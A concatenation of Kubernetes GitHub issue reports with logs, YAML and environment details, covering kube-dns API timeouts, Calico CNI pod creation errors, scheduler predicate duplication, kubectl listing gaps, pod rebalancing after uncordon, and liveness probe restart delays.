server.go:113  flag: --dns-port=\ 10053\ \r i0712 09:36:42.452968       1 server.go:113  flag: --domain=\ cluster.local.\ \r i0712 09:36:42.452972       1 server.go:113  flag: --federations=\ \ \r i0712 09:36:42.452976       1 server.go:113  flag: --healthz-port=\ 8081\ \r i0712 09:36:42.452979       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i0712 09:36:42.452982       1 server.go:113  flag: --kube-master-url=\ \ \r i0712 09:36:42.452985       1 server.go:113  flag: --kubecfg-file=\ \ \r i0712 09:36:42.452988       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i0712 09:36:42.452993       1 server.go:113  flag: --log-dir=\ \ \r i0712 09:36:42.452996       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i0712 09:36:42.452998       1 server.go:113  flag: --logtostderr=\ true\ \r i0712 09:36:42.453001       1 server.go:113  flag: --nameservers=\ \ \r i0712 09:36:42.453003       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i0712 09:36:42.453006       1 server.go:113  flag: --v=\ 2\ \r i0712 09:36:42.453009       1 server.go:113  flag: --version=\ false\ \r i0712 09:36:42.453013       1 server.go:113  flag: --vmodule=\ \ \r i0712 09:36:42.453127       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i0712 09:36:42.453423       1 server.go:198  skydns metrics enabled  /metrics:10055 \r i0712 09:36:42.453449       1 dns.go:147  starting endpointscontroller\r i0712 09:36:42.453458       1 dns.go:150  starting servicecontroller\r i0712 09:36:42.453705       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0712 09:36:42.453714       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0712 09:36:42.953653       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:43.453653       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:43.953666       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:44.453672       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:44.953639       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:45.453650       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:45.953650       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:46.453663       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:46.953665       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:47.453628       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:47.953677       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:48.453663       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:48.953661       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:49.453655       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:49.953650       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:50.453659       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:50.953662       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:51.453652       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:51.953654       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:52.453632       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:52.953643       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:53.453657       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:53.953648       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:54.453660       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:54.953643       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:55.453651       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:55.953649       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:56.453644       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:56.953664       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:57.453622       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:57.953656       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:58.453656       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:58.953686       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:59.453657       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:36:59.953649       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:00.453662       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:00.953668       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:01.453658       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:01.953658       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:02.453629       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:02.953653       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:03.453653       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:03.953661       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:04.453664       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:04.953630       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:05.453650       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:05.953650       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:06.453658       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:06.953657       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:07.453621       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:07.953660       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:08.453656       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:08.953654       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:09.453679       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:09.953641       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:10.453650       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:10.953661       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:11.453667       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:11.953661       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:12.453626       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e0712 09:37:12.454204       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0712 09:37:12.454254       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r i0712 09:37:12.953657       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:13.453653       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:13.953664       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:14.453664       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:14.953642       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:15.453653       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:15.953674       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:16.453670       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:16.953688       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:17.453624       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:17.953661       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:18.453663       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:18.953673       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:19.453640       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:19.953630       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:20.453644       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:20.953675       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:21.453659       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:21.953665       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:22.453634       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:22.953650       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:23.453656       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:23.953674       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:24.453663       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:24.953659       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:25.453649       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:25.953674       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:26.453663       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:26.953669       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:27.453640       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:27.953650       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0712 09:37:28.453655       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r         \r \r    \r  root@m01v ~   kubectl logs kube-dns-2425271678-l66cq dnsmasq -n kube-system \r i0712 09:37:46.424992       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0712 09:37:46.425170       1 nanny.go:86  starting dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0712 09:37:46.544187       1 nanny.go:111  \r w0712 09:37:46.544213       1 nanny.go:112  got eof from stdout\r i0712 09:37:46.544236       1 nanny.go:108  dnsmasq 13 : started, version 2.76 cachesize 1000\r i0712 09:37:46.544246       1 nanny.go:108  dnsmasq 13 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0712 09:37:46.544250       1 nanny.go:108  dnsmasq 13 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0712 09:37:46.544253       1 nanny.go:108  dnsmasq 13 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0712 09:37:46.544256       1 nanny.go:108  dnsmasq 13 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0712 09:37:46.544260       1 nanny.go:108  dnsmasq 13 : reading /etc/resolv.conf\r i0712 09:37:46.544263       1 nanny.go:108  dnsmasq 13 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0712 09:37:46.544266       1 nanny.go:108  dnsmasq 13 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0712 09:37:46.544269       1 nanny.go:108  dnsmasq 13 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0712 09:37:46.544272       1 nanny.go:108  dnsmasq 13 : using nameserver 10.20.11.10 53\r i0712 09:37:46.544277       1 nanny.go:108  dnsmasq 13 : read /etc/hosts - 7 addresses\r    \r \r \r \r    \r  root@m01v ~   kubectl logs kube-dns-2425271678-l66cq sidecar -n kube-system \r error: logging before flag.parse: i0712 09:37:47.202881       1 main.go:48  version v1.14.3-4-gee838f6\r error: logging before flag.parse: i0712 09:37:47.204732       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i0712 09:37:47.204784       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0712 09:37:47.204844       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r \r    \r \r   anything else we need to know?  :\r looking up for similar issue. and found  27671. but i'm not sure whether it is the same issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - os  e.g. from /etc/os-release :\r    \r name=\ red hat enterprise linux server\ \r version=\ 7.2  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 7.2\ \r pretty_name=\ red hat enterprise linux server 7.2  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.2:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.2\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.2\ \r    \r - kernel  e.g.  uname -a  :\r   linux 3.10.0-327.el7.x86_64  1 smp thu oct 29 17:29:29 edt 2015 x86_64 x86_64 x86_64 gnu/linux  \r - install tools:\r - others:\r

https://github.com/kubernetes/community/blob/master/contributors/devel/generating-clientset.md is out dated, especially after https://github.com/kubernetes/kubernetes/pull/49192 unified the tags used by client-gen.

@kubernetes/sig-network-bugs\r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have a k8s cluster that hosts 20 around services. after a couple days i observed a few services are not running, and in the following state. delete pod and recreate pod does not help either.\r \r > persistent-cache                        0/1       rpc error: code = 2 desc = failed to start container \ abc6b44f4d76871cecb3b3300c8e70515647296a38d831662e644a184e35c511\ : error response from daemon: {\ message\ :\ cannot join network of a non running container: e8c95196933ae83eeb82fc143179071d0957edd4651eca3e0b25902ad023a922\ }\r \r    kubelet logs:\r    \r aug 04 16:46:06 integmaster0 kubelet 13103 : time=\ 2017-08-04t16:46:06z\  level=info msg=\ loading config from environment\ \r aug 04 16:46:06 integmaster0 kubelet 13103 : 2017-08-04 16:46:06.245406 i | warning: ignoring servername for user-provided ca for backwards compatibility is deprecated\r aug 04 16:46:06 integmaster0 kubelet 13103 : calico cni checking for existing endpoint: &{{workloadendpoint v1} {{54616} eth0 symphony.persistent-cache k8s integmaster0 dde98b2df3312651623355ec9a70eb6eb40a91352e872025d7c8b84e3dce7e57 map calico/k8s_ns:symphony name:redis redis-sentinel:true role:master } { 10.233.244.39/32     <nil> <nil>  k8s_ns.symphony  cali1dd54d1a7e0 2a:db:af:8d:75:21}}\r aug 04 16:46:06 integmaster0 kubelet 13103 : time=\ 2017-08-04t16:46:06z\  level=info msg=\ extracted identifiers for cmdaddk8s\  node=integmaster0 orchestrator=k8s workload=symphony.persistent-cache\r aug 04 16:46:06 integmaster0 kubelet 13103 : calico cni using ips:  10.233.244.39/32 \r aug 04 16:46:06 integmaster0 kubelet 13103 : time=\ 2017-08-04t16:46:06z\  level=info msg=\ added mac and interface name to endpoint\  workload=symphony.persistent-cache endpoint=&{{workloadendpoint v1} {{54616} eth0 symphony.persistent-cache k8s integmaster0 dde98b2df3312651623355ec9a70eb6eb40a91352e872025d7c8b84e3dce7e57 map calico/k8s_ns:symphony name:redis redis-sentinel:true role:master } { 10.233.244.39/32     <nil> <nil>  k8s_ns.symphony  cali1dd54d1a7e0 ca:8d:e4:9d:94:28}}\r aug 04 16:46:06 integmaster0 kubelet 13103 : time=\ 2017-08-04t16:46:06z\  level=info msg=\ wrote updated endpoint to datastore\  workload=symphony.persistent-cache\r aug 04 16:46:06 integmaster0 kubelet 13103 : e0804 16:46:06.311314   13141 cni.go:294  error adding network: cannot convert: no valid ip addresses\r aug 04 16:46:06 integmaster0 kubelet 13103 : e0804 16:46:06.311337   13141 cni.go:243  error while adding to cni network: cannot convert: no valid ip addresses\r aug 04 16:46:06 integmaster0 kubelet 13103 : e0804 16:46:06.513709   13141 remote_runtime.go:91  runpodsandbox from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to set up pod \ persistent-cache_symphony\  network: cannot convert: no valid ip addresses\r aug 04 16:46:06 integmaster0 kubelet 13103 : e0804 16:46:06.513834   13141 kuberuntime_sandbox.go:54  createpodsandbox for pod \ persistent-cache_symphony 66a5dcd9-7934-11e7-8d2e-fa163e6a8c6a \  failed: rpc error: code = 2 desc = networkplugin cni failed to set up pod \ persistent-cache_symphony\  network: cannot convert: no valid ip addresses\r aug 04 16:46:06 integmaster0 kubelet 13103 : e0804 16:46:06.513866   13141 kuberuntime_manager.go:618  createpodsandbox for pod \ persistent-cache_symphony 66a5dcd9-7934-11e7-8d2e-fa163e6a8c6a \  failed: rpc error: code = 2 desc = networkplugin cni failed to set up pod \ persistent-cache_symphony\  network: cannot convert: no valid ip addresses\r aug 04 16:46:06 integmaster0 kubelet 13103 : e0804 16:46:06.513969   13141 pod_workers.go:182  error syncing pod 66a5dcd9-7934-11e7-8d2e-fa163e6a8c6a  \ persistent-cache_symphony 66a5dcd9-7934-11e7-8d2e-fa163e6a8c6a \  , skipping: failed to \ createpodsandbox\  for \ persistent-cache_symphony 66a5dcd9-7934-11e7-8d2e-fa163e6a8c6a \  with createpodsandboxerror: \ createpodsandbox for pod \\\ persistent-cache_symphony 66a5dcd9-7934-11e7-8d2e-fa163e6a8c6a \\\  failed: rpc error: code = 2 desc = networkplugin cni failed to set up pod \\\ persistent-cache_symphony\\\  network: cannot convert: no valid ip addresses\ \r aug 04 16:46:07 integmaster0 kubelet 13103 : i0804 16:46:07.254763   13141 kubelet.go:1912  syncloop  pleg : \ persistent-cache_symphony 66a5dcd9-7934-11e7-8d2e-fa163e6a8c6a \ , event: &pleg.podlifecycleevent{id:\ 66a5dcd9-7934-11e7-8d2e-fa163e6a8c6a\ , type:\ containerdied\ , data:\ b028ce374d9860497c26ea178789a460d7514d2f1bb3804f1c528129e5c7f40d\ }\r    \r    my pod yml\r    apiversion: v1\r kind: pod\r metadata:\r   labels:\r     name: redis\r     redis-sentinel: \ true\ \r     role: master\r   name: persistent-cache\r   namespace: symphony\r spec:\r   imagepullsecrets:\r   - name: naas-registry-secret\r \r   containers:\r     - name: master\r       image: redis:v2\r       env:\r         - name: master\r           value: \ true\ \r       ports:\r         - containerport: 6379\r       volumemounts:\r         - mountpath: /redis-master-data\r           name: data\r   volumes:\r     - name: data\r       hostpath:\r         path: /var/redis-data\r    \r   what you expected to happen  :\r pod can be created\r   how to reproduce it  as minimally and precisely as possible   :\r not sure how to reproduce this but i will give all details below for someone to help on\r \r   anything else we need to know?  :\r i am using calico plugin:\r    \r calico/cni                                                              v1.7.0              61bd0f1d1acf        3 months ago        67 mb\r calico/node                                                             v1.1.3              573ddcad1ff5        3 months ago        217 mb\r calico/ctl                                                              v1.1.3              4cb99a60e023        3 months ago        44 mb\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.4\r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release :\r $ cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux integmaster0 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubespray master branch\r \r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r part of https://github.com/kubernetes/examples/pull/43 guestbook application has been ported for multiarch, so this workitem to use those images and make tests multi architectures to run on different architectures like amd64, arm, arm64, ppc64le etc..\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

while implementing, predicate ordering, i found out that we were registering the following predicates here: \r \r https://github.com/kubernetes/kubernetes/blob/bb72237375dfb32f2928e39354a42c40afc98fc1/plugin/pkg/scheduler/algorithmprovider/defaults/defaults.go l65-l82 \r \r but we are also registering them using the following:\r https://github.com/kubernetes/kubernetes/blob/bb72237375dfb32f2928e39354a42c40afc98fc1/plugin/pkg/scheduler/algorithmprovider/defaults/defaults.go l162\r \r as the underlying data structure that holds predicates is a map and since the keys are different, the scheduler will compute these twice for every decision.\r \r   /assign

 \r   what happened  :\r kubectl get all\r \r doesn't list controllerrevision resources\r \r i have to list them specifically:\r $k get controllerrevision\r name                     kind                         revision\r example-foo-5d7dfd79c9   controllerrevision.v1.apps   1\r example-foo-74b44748d6   controllerrevision.v1.apps   2\r \r   what you expected to happen  :\r i want cr to be listed with fields \ revision\  and \ timestamp\ . \r \r kubectl get all\r \r name                     revision                         timestamp\r cr/example-foo-5d7dfd79c9      1      2018-02-08t18:58:23z\r cr/example-foo-74b44748d6      2    2018-02-08t18:58:23z\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >    \r \r   what happened  :\r i have a two node cluster  node01, node02 in addition to a master node , and scheduled a deployment with 10 replicas. the pods were scheduled 5 per node which is good. then i went and drained node01. the pods were evicted from node01 and all pods were scheduled on node02 which is also good. when i uncordoned node01, i still see that all the pods are still on node02.\r \r   what you expected to happen  :\r i was expecting to see that five pods from node 02 are rescheduled back to node01. in essence i want a way to tell kubernetes that for the deployment with 10 replicas, i want a max of 5 pods per node and be able to set a soft/hard limit for the same. if i set a hard limit, it should fail on the drain stating that it cannot satisfy the 5 maxpodspernode rule and if i set a soft limit, it should allow to drain and cordon the node01 but once the node01 is uncordoned, i would expect the pods to be rescheduled as per the maxpodspernode rule or atleast attempted to satisfy the 5 maxpodspernode rule.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a deployment simpleweb with 10 replicas of nginx\r kubectl run simpleweb --image=nginx --replicas=10\r \r 2. drain the node01, ignoring daemonsets\r kubectl drain node01 --ignore-daemonsets\r \r 3. uncordon node01\r kubectl uncordon node01\r  \r   anything else we need to know?  :\r none.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client and server @ 1.10.2\r \r - cloud provider or hardware configuration:\r 3 linux vms  one master, 2 worker nodes  using virtual box running on a mac. 2cpus and 4gb ram\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r \r - kernel  e.g.  uname -a  :\r linux master 4.15.0-20-generic  21-ubuntu smp tue apr 24 06:16:15 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm\r \r - others:\r

is this a bug report or feature request?\r  \r what happened:\r right now after one of my liveness probes fail, there is down time between the last liveness probe failure and the restart of the container - meaning, all requests sent to this pod would fail.  this is happening only on applications that run on node js and not on applications that run on java.\r \r what you expected to happen:\r i expect the container to get restarted immediately.\r \r how to reproduce it  as minimally and precisely as possible :\r have a condition where the liveness probe fails during the middle of the application container running and monitor the pod history.\r \r 

\r \r   what happened  :\r \r pods stay in pending status for a long time.\r \r here is my pod\r \r    \r   kubectl -n services get pods -o wide\r name                                        ready     status    restarts   age       ip        node\r redis-65dcfbfccc-dtk8x                      0/1       pending   0          19h       <none>    9.193.199.43\r    \r \r and from kubelet log\r    \r nov  8 11:20:11 inmbzicpsanw08 hyperkube 1599 : i1108 11:20:11.726517    1599 config.go:405  receiving a new pod \ redis-65dcfbfccc-dtk8x_services 2826d997-e31a-11e8-b5cb-005056bf37ac \ \r nov  9 06:25:32 inmbzicpsanw08 hyperkube 1599 : i1109 06:25:32.408191    1599 kubelet.go:1861  syncloop  add, \ api\  : \ redis-65dcfbfccc-dtk8x_services 2826d997-e31a-11e8-b5cb-005056bf37ac \ \r nov  9 06:25:32 inmbzicpsanw08 hyperkube 1599 : i1109 06:25:32.493868    1599 kubelet_pods.go:1375  generating status for \ redis-65dcfbfccc-dtk8x_services 2826d997-e31a-11e8-b5cb-005056bf37ac \ \r nov  9 06:25:32 inmbzicpsanw08 hyperkube 1599 : i1109 06:25:32.504139    1599 volume_manager.go:347  waiting for volumes to attach and mount for pod \ redis-65dcfbfccc-dtk8x_services 2826d997-e31a-11e8-b5cb-005056bf37ac \ \r nov  9 06:25:34 inmbzicpsanw08 hyperkube 1599 : i1109 06:25:34.306831    1599 volume_manager.go:380  all volumes are attached and mounted for pod \ redis-65dcfbfccc-dtk8x_services 2826d997-e31a-11e8-b5cb-005056bf37ac \ \r nov  9 06:25:35 inmbzicpsanw08 hyperkube 1599 : i1109 06:25:35.476785    1599 kuberuntime_manager.go:385  no sandbox for pod \ redis-65dcfbfccc-dtk8x_services 2826d997-e31a-11e8-b5cb-005056bf37ac \  can be found. need to start a new one\r nov  9 06:25:35 inmbzicpsanw08 hyperkube 1599 : i1109 06:25:35.476823    1599 kuberuntime_manager.go:570  computepodactions got {killpod:true createsandbox:true sandboxid: attempt:0 nextinitcontainertostart:nil containerstostart: 0  containerstokill:map  } for pod \ redis-65dcfbfccc-dtk8x_services 2826d997-e31a-11e8-b5cb-005056bf37ac \ \r nov  9 06:25:35 inmbzicpsanw08 hyperkube 1599 : i1109 06:25:35.476890    1599 kuberuntime_manager.go:579  syncpod received new pod \ redis-65dcfbfccc-dtk8x_services 2826d997-e31a-11e8-b5cb-005056bf37ac \ , will create a sandbox for it\r    \r \r as you seen from kubelet log, kubelet get the pods at  nov  8 11:20:11 , but start the sync loop at  nov  9 06:25:32 . why takes so long for kubelet to take action? sounds like the  configch  https://github.com/kubernetes/kubernetes/blob/v1.10.0/pkg/kubelet/kubelet.go l1846 is hanging at that time, kubelet main sync up thread did not detect events from that channel.\r \r   what you expected to happen  :\r \r after scheduled pods should be created by kubelet immediately.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.0\r - cloud provider or hardware configuration: 